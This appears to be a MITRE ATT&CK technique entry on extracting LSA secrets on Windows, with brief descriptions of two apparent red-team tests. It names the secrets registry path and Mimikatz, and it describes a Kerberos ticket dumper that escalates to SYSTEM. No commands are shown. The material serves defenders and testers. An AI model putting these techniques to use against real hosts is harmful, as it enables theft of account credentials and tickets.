Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)
[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)
Dump secrets key from Windows registry When successful, the dumped file will be written to $env:Temp\secrets. Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information. https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.

This tool allows you to dump Kerberos tickets from the LSA cache. Implemented via Add-Type. If the tool is run as a privileged user, it will automatically obtain NT AUTHORITY\SYSTEM privileges and then dump all tickets. If the tool is run as a non-privileged user, it will only dump tickets from the current logon session. Ref: https://github.com/MzHmO/PowershellKerberos/ Author of dumper.ps1: Michael Zhmaylo (@MzHmO)
